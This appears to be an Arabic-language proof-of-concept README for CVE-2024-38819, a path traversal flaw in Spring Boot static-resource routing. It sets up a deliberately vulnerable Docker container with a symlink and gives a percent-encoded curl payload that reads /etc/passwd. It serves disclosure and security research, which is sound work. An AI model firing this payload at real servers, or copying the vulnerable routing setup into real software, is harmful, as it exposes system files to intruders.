
إثبات مفهوم لاستغلال CVE-2024-38819، يوضح اجتياز المسار عبر الروابط الرمزية وترميز النسبة المئوية في توجيه الملفات الثابتة في Spring Boot.
هذا هو إثبات المفهوم للثغرة CVE-2024-38819 التي أبلغت عنها، ويوضح استغلال اجتياز المسار.
قم ببناء صورة Docker (Spring Boot 3.3.4، استنادًا إلى Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
قم بتشغيل الحاوية واعرض المنفذ 8080 على الجهاز المضيف
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
قم بتنفيذ الأمر التالي لتشغيل PoC وتأكيد الثغرة
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
إذا نجح الهجوم، سيتم عرض محتويات ملف /etc/passwd.
أنشئ PathTraversalDemoApplication.java بالكود التالي لإعداد توجيه الملفات الثابتة باستخدام RouterFunction و FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
أضف الأمر التالي إلى Dockerfile لإنشاء رابط رمزي:
RUN ln -s /static /app/static/link
أنشئ حمولة تستخدم الترميز المئوي لاجتياز المجلدات عبر الرابط الرمزي.
/static/link/%2e%2e/etc/passwdاستخدم أمر curl التالي لتنفيذ PoC والتحقق من نجاح الهجوم:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
إذا نجح الهجوم، سيتم عرض محتويات ملف /etc/passwd.
تم توفير إثبات المفهوم هذا لأغراض تعليمية وبحث أمني. قبل استخدامه على نظام حقيقي، تأكد من إصلاح الثغرة ومن حصولك على التصريح المناسب. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا الكود.